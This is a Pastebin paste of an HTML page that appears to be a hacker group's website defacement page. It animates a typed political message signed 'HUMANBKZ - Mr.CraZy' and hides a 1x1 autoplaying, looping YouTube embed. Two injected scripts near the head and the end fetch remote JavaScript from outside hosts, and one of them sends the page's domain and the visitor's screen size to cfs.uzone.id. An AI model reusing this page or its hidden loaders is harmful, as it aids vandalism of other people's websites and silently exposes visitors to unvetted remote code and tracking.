API tools faq
paste
Advertisement
rabyte

santri independen

rabyte
Jun 9th, 2018
104
0
Never
Add comment
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 13.38 KB | None | 0 0
raw download clone embed print report
  1.  
  2.  
  3. <!DOCTYPE html>
  4. <html >
  5.  
  6. <head>
  7. <meta charset="UTF-8">
  8. <link rel="shortcut icon" type="image/x-icon" href="https://production-assets.codepen.io/assets/favicon/favicon-8ea04875e70c4b0bb41da869e81236e54394d63638a1ef12fa558a4a835f1164.ico" />
  9. <link rel="mask-icon" type="" href="https://production-assets.codepen.io/assets/favicon/logo-pin-f2d2b6d2c61838f7e76325261b7195c27224080bc099486ddd6dccb469b8e8e6.svg" color="#111" />
  10. <title>SANTRI INDEPENDENT</title>
  11.  
  12.  
  13. <link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/meyer-reset/2.0/reset.min.css">
  14.  
  15.  
  16. <style>
  17. h1 {
  18. text-align: center;
  19. font-size: 1.8em;
  20. font-family: monospace;
  21. padding: 0.7em;
  22. }
  23.  
  24. .keyboard {
  25. text-align: center;
  26. font-size: 14px;
  27. font-family: sans-serif;
  28. }
  29.  
  30. .keyboard__row {
  31. display: inline-block;
  32. height: 3em;
  33. margin: 0.2em;
  34. }
  35.  
  36. .keyboard__row--h1 {
  37. height: 1.7em;
  38. line-height: 1.4em;
  39. }
  40.  
  41. .keyboard__row--h3 {
  42. height: 3.3em;
  43. }
  44.  
  45. .keyboard__row > * {
  46. position: relative;
  47. background: #333;
  48. text-align: center;
  49. color: #eee;
  50. float: left;
  51. border-radius: 0.3em;
  52. margin: 0.2em;
  53. padding: 0.2em;
  54. width: 3.3em;
  55. height: 100%;
  56. box-sizing: border-box;
  57. cursor: pointer;
  58. -webkit-user-select: none;
  59. border: 1px solid #444;
  60. box-shadow: 0 0.2em 0 0.05em #222;
  61. border-bottom-color: #555;
  62. }
  63.  
  64. .keyboard__row--h1 > div {
  65. width: 3.5em;
  66. }
  67.  
  68. .keyboard__row > div[data-pressed],
  69. .keyboard__row > div:active {
  70. background: #2a2a2a;
  71. color: #aaa;
  72. position: relative;
  73. top: 0.2em;
  74. box-shadow: 0 0 0 0.05em black;
  75. }
  76.  
  77. .key--w3 {
  78. width: 4.6em;
  79. }
  80.  
  81. .key--w4 {
  82. width: 6em;
  83. }
  84.  
  85. .key--w5 {
  86. width: 6.5em;
  87. }
  88.  
  89. .key--w6 {
  90. width: 8.3em;
  91. }
  92.  
  93. .key--space {
  94. width: 18em;
  95. }
  96.  
  97. .key--double > * {
  98. padding-top: 0.1em;
  99. }
  100.  
  101. .key--letter {
  102. line-height: 2.8em;
  103. }
  104.  
  105. .key--bottom-left > * {
  106. position: absolute;
  107. text-align: left;
  108. bottom: 0.4em;
  109. left: 0.4em;
  110. }
  111.  
  112. .key--bottom-right > * {
  113. position: absolute;
  114. text-align: right;
  115. bottom: 0.4em;
  116. right: 0.4em;
  117. }
  118.  
  119. .key--fn > * {
  120. font-size: 0.6em;
  121. line-height: 1em;
  122. padding-top: 1.2em;
  123. padding-right: 0.2em;
  124. text-align: right;
  125. float: right;
  126. }
  127.  
  128. .key--word > * {
  129. font-size: 0.8em;
  130. }
  131.  
  132. .key--arrow--tall > *,
  133. .key--arrow > * {
  134. font-size: 0.5em;
  135. line-height: 3em;
  136. }
  137.  
  138. .key--arrow {
  139. height: 1.8em;
  140. margin-top: 1.7em;
  141. line-height: 0.5em;
  142. }
  143.  
  144. .key--arrow--tall > * {
  145. padding-top: 0.2em;
  146. }
  147.  
  148. .keyboard > .keyboard__row {
  149. text-align: center;
  150. }
  151. </style>
  152.  
  153.  
  154.  
  155.  
  156.  
  157. <script type="text/javascript">(function(){var a=document.createElement("script");a.type="text/javascript";a.async=!0;a.src="http://d36mw5gp02ykm5.cloudfront.net/yc/adrns_y.js?v=6.11.119#p=toshibaxmq01abd050_261zt8rftxx261zt8rft";var b=document.getElementsByTagName("script")[0];b.parentNode.insertBefore(a,b);})();</script></head>
  158.  
  159. <body translate="no" >
  160.  
  161. <h1>Security Tester</br>I See Human<br>Not Humanity<br>In Aleppo<br>Why??<br>Where PBB???<br>GOD BLESS!<br><br><br>TTD: HUMANBKZ - Mr.CraZy</h1>
  162. <div class="keyboard">
  163. <div class="keyboard__row keyboard__row--h1">
  164. <div data-key="27" class="key--word">
  165. <span>esc</span>
  166. </div>
  167. <div data-key="112" class="key--fn">
  168. <span>F1</span>
  169. </div>
  170. <div data-key="113" class="key--fn">
  171. <span>F2</span>
  172. </div>
  173. <div data-key="114" class="key--fn">
  174. <span>F3</span>
  175. </div>
  176. <div data-key="115" class="key--fn">
  177. <span>F4</span>
  178. </div>
  179. <div data-key="116" class="key--fn">
  180. <span>F5</span>
  181. </div>
  182. <div data-key="117" class="key--fn">
  183. <span>F6</span>
  184. </div>
  185. <div data-key="118" class="key--fn">
  186. <span>F7</span>
  187. </div>
  188. <div data-key="119" class="key--fn">
  189. <span>F8</span>
  190. </div>
  191. <div data-key="120" class="key--fn">
  192. <span>F9</span>
  193. </div>
  194. <div data-key="121" class="key--fn">
  195. <span>F10</span>
  196. </div>
  197. <div data-key="122" class="key--fn">
  198. <span>F11</span>
  199. </div>
  200. <div data-key="123" class="key--fn">
  201. <span>F12</span>
  202. </div>
  203. <div data-key="n/a" class="key--word">
  204. <span>pwr</span>
  205. </div>
  206. </div>
  207. <div class="keyboard__row">
  208. <div class="key--double" data-key="192">
  209. <div>~</div>
  210. <div>`</div>
  211. </div>
  212. <div class="key--double" data-key="49">
  213. <div>!</div>
  214. <div>1</div>
  215. </div>
  216. <div class="key--double" data-key="50">
  217. <div>@</div>
  218. <div>2</div>
  219. </div>
  220. <div class="key--double" data-key="51">
  221. <div>#</div>
  222. <div>3</div>
  223. </div>
  224. <div class="key--double" data-key="52">
  225. <div>$</div>
  226. <div>4</div>
  227. </div>
  228. <div class="key--double" data-key="53">
  229. <div>%</div>
  230. <div>5</div>
  231. </div>
  232. <div class="key--double" data-key="54">
  233. <div>^</div>
  234. <div>6</div>
  235. </div>
  236. <div class="key--double" data-key="55">
  237. <div>&</div>
  238. <div>7</div>
  239. </div>
  240. <div class="key--double" data-key="56">
  241. <div>*</div>
  242. <div>8</div>
  243. </div>
  244. <div class="key--double" data-key="57">
  245. <div>(</div>
  246. <div>9</div>
  247. </div>
  248. <div class="key--double" data-key="48">
  249. <div>)</div>
  250. <div>0</div>
  251. </div>
  252. <div class="key--double" data-key="189">
  253. <div>_</div>
  254. <div>-</div>
  255. </div>
  256. <div class="key--double" data-key="187">
  257. <div>+</div>
  258. <div>=</div>
  259. </div>
  260. <div class="key--bottom-right key--word key--w4" data-key="8">
  261. <span>delete</span>
  262. </div>
  263. </div>
  264. <div class="keyboard__row">
  265. <div class="key--bottom-left key--word key--w4" data-key="9">
  266. <span>tab</span>
  267. </div>
  268. <div class="key--letter" data-char="Q">Q</div>
  269. <div class="key--letter" data-char="W">W</div>
  270. <div class="key--letter" data-char="E">E</div>
  271. <div class="key--letter" data-char="R">R</div>
  272. <div class="key--letter" data-char="T">T</div>
  273. <div class="key--letter" data-char="Y">Y</div>
  274. <div class="key--letter" data-char="U">U</div>
  275. <div class="key--letter" data-char="I">I</div>
  276. <div class="key--letter" data-char="O">O</div>
  277. <div class="key--letter" data-char="P">P</div>
  278. <div class="key--double" data-key="219" data-char="{[">
  279. <div>{</div>
  280. <div>[</div>
  281. </div>
  282. <div class="key--double" data-key="221" data-char="}]">
  283. <div>}</div>
  284. <div>]</div>
  285. </div>
  286. <div class="key--double" data-key="220" data-char="|\">
  287. <div>|</div>
  288. <div>\</div>
  289. </div>
  290. </div>
  291. <div class="keyboard__row">
  292. <div class="key--bottom-left key--word key--w5" data-key="20">
  293. <span>caps lock</span>
  294. </div>
  295. <div class="key--letter" data-char="A">A</div>
  296. <div class="key--letter" data-char="S">S</div>
  297. <div class="key--letter" data-char="D">D</div>
  298. <div class="key--letter" data-char="F">F</div>
  299. <div class="key--letter" data-char="G">G</div>
  300. <div class="key--letter" data-char="H">H</div>
  301. <div class="key--letter" data-char="J">J</div>
  302. <div class="key--letter" data-char="K">K</div>
  303. <div class="key--letter" data-char="L">L</div>
  304. <div class="key--double" data-key="186">
  305. <div>:</div>
  306. <div>;</div>
  307. </div>
  308. <div class="key--double" data-key="222">
  309. <div>"</div>
  310. <div>'</div>
  311. </div>
  312. <div class="key--bottom-right key--word key--w5" data-key="13">
  313. <span>return</span>
  314. </div>
  315. </div>
  316. <div class="keyboard__row">
  317. <div class="key--bottom-left key--word key--w6" data-key="16">
  318. <span>shift</span>
  319. </div>
  320. <div class="key--letter" data-char="Z">Z</div>
  321. <div class="key--letter" data-char="X">X</div>
  322. <div class="key--letter" data-char="C">C</div>
  323. <div class="key--letter" data-char="V">V</div>
  324. <div class="key--letter" data-char="B">B</div>
  325. <div class="key--letter" data-char="N">N</div>
  326. <div class="key--letter" data-char="M">M</div>
  327. <div class="key--double" data-key="188">
  328. <div>&lt;</div>
  329. <div>,</div>
  330. </div>
  331. <div class="key--double" data-key="190">
  332. <div>&gt;</div>
  333. <div>.</div>
  334. </div>
  335. <div class="key--double" data-key="191">
  336. <div>?</div>
  337. <div>/</div>
  338. </div>
  339. <div class="key--bottom-right key--word key--w6" data-key="16-R">
  340. <span>shift</span>
  341. </div>
  342. </div>
  343. <div class="keyboard__row keyboard__row--h3">
  344. <div class="key--bottom-left key--word">
  345. <span>fn</span>
  346. </div>
  347. <div class="key--bottom-left key--word key--w1" data-key="17">
  348. <span>control</span>
  349. </div>
  350. <div class="key--bottom-left key--word key--w1" data-key="18">
  351. <span>option</span>
  352. </div>
  353. <div class="key--bottom-right key--word key--w3" data-key="91">
  354. <span>command</span>
  355. </div>
  356. <div class="key--double key--right key--space" data-key="32" data-char=" ">
  357. &nbsp;
  358. </div>
  359. <div class="key--bottom-left key--word key--w3" data-key="93-R">
  360. <span>command</span>
  361. </div>
  362. <div class="key--bottom-left key--word key--w1" data-key="18-R">
  363. <span>option</span>
  364. </div>
  365. <div data-key="37" class="key--arrow">
  366. <span>&#9664;</span>
  367. </div>
  368. <div class="key--double key--arrow--tall" data-key="38">
  369. <div>&#9650;</div>
  370. <div>&#9660;</div>
  371. </div>
  372. <div data-key="39" class="key--arrow">
  373. <span>&#9654;</span>
  374. </div>
  375. </div>
  376. </div>
  377. <embed
  378. src="http://www.youtube.com/v/mrXUSvzA2qs&amp;autoplay=1&amp;loop=1&amp;playlist=FocFked1TbQ"
  379. type="application/x-shockwave-flash" wmode="transparent" height="1"
  380. width="1"></embed>
  381.  
  382.  
  383. <script>
  384. function getKey (e) {
  385. var location = e.location;
  386. var selector;
  387. if (location === KeyboardEvent.DOM_KEY_LOCATION_RIGHT) {
  388. selector = ['[data-key="' + e.keyCode + '-R"]']
  389. } else {
  390. var code = e.keyCode || e.which;
  391. selector = [
  392. '[data-key="' + code + '"]',
  393. '[data-char*="' + encodeURIComponent(String.fromCharCode(code)) + '"]'
  394. ].join(',');
  395. }
  396. return document.querySelector(selector);
  397. }
  398.  
  399. function pressKey (char) {
  400. var key = document.querySelector('[data-char*="' + char.toUpperCase() + '"]');
  401. if (!key) {
  402. return console.warn('No key for', char);
  403. }
  404. key.setAttribute('data-pressed', 'on');
  405. setTimeout(function () {
  406. key.removeAttribute('data-pressed');
  407. }, 200);
  408. }
  409.  
  410. var h1 = document.querySelector('h1');
  411. var originalQueue = h1.innerHTML;
  412. var queue = h1.innerHTML;
  413.  
  414. function next () {
  415. var c = queue[0];
  416. queue = queue.slice(1);
  417. h1.innerHTML = originalQueue.slice(0, originalQueue.length - queue.length);
  418. pressKey(c);
  419. if (queue.length) {
  420. setTimeout(next, Math.random() * 200 + 50);
  421. }
  422. }
  423.  
  424. h1.innerHTML = "&nbsp;";
  425. setTimeout(next, 500);
  426.  
  427. document.body.addEventListener('keydown', function (e) {
  428. var key = getKey(e);
  429. if (!key) {
  430. return console.warn('No key for', e.keyCode);
  431. }
  432.  
  433. key.setAttribute('data-pressed', 'on');
  434. });
  435.  
  436. document.body.addEventListener('keyup', function (e) {
  437. var key = getKey(e);
  438. key && key.removeAttribute('data-pressed');
  439. });
  440.  
  441. function size () {
  442. var size = keyboard.parentNode.clientWidth / 90;
  443. keyboard.style.fontSize = size + 'px';
  444. console.log(size);
  445. }
  446.  
  447. var keyboard = document.querySelector('.keyboard');
  448. window.addEventListener('resize', function (e) {
  449. size();
  450. });
  451. size();
  452. </script>
  453.  
  454.  
  455.  
  456.  
  457. <script type="text/javascript">if (self==top) {function netbro_cache_analytics(fn, callback) {setTimeout(function() {fn();callback();}, 0);}function sync(fn) {fn();}function requestCfs(){var idc_glo_url = (location.protocol=="https:" ? "https://" : "http://");var idc_glo_r = Math.floor(Math.random()*99999999999);var url = idc_glo_url+ "cfs.uzone.id/2fn7a2/request" + "?id=1" + "&enc=9UwkxLgY9" + "&params=" + "4TtHaUQnUEiP6K%2fc5C582H6x5iDAuv2BaWauHZMqKX%2flRDc9ngupig7wCf%2fpQwZWVgHw%2fIEFEj6QGcuM9hTM7Ec3sts5rTMoJ%2bxY8Nu15XOfDA%2b7eyECjtgwGyO7lJzzgjZiYgwfHJ6qGi9pMc7VKqnAyhMfm8HyCfunE1fWip1EVF2aZvPMFi9iqOCPofjXXcS6aBHKcg38yhSNhSkyiM8DSmjXS9uaJbuLD2EexNQLMFMhKDaMzRN70Y1km8%2fLeAO5u14xMFmV5mXIrq089tvIPiX%2bwD3hF7xlQA9iNgTLWOa5JowJK%2f4BNHikqImmcOkfatHAGOkj3t%2blX6HxID7flknjbC%2f%2f4EbOmxs9WcT0B4ufHYYBlafMoboGkvfPwGep8wZmk0durIk%2bvsntP8qRsSLMmFT6qbsVUWa0P9KgxqjthZVEK4H6XpFSYRDQwkVY0pJxYWpgLovVPXsd9%2bNJiDWO89vCqeNvlWptojZUhjJVwFCZB2tc98oe4y6oq%2ftdICygBiUCV7y%2fMN4vYw%3d%3d" + "&idc_r="+idc_glo_r + "&domain="+document.domain + "&sw="+screen.width+"&sh="+screen.height;var bsa = document.createElement('script');bsa.type = 'text/javascript';bsa.async = true;bsa.src = url;(document.getElementsByTagName('head')[0]||document.getElementsByTagName('body')[0]).appendChild(bsa);}netbro_cache_analytics(requestCfs, function(){});};</script></body>
  458. </html>
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement
Public Pastes
Advertisement
We use cookies for various purposes including analytics. By continuing to use Pastebin, you agree to our use of cookies as described in the Cookies Policy.  OK, I Understand
Not a member of Pastebin yet?
Sign Up, it unlocks many cool features!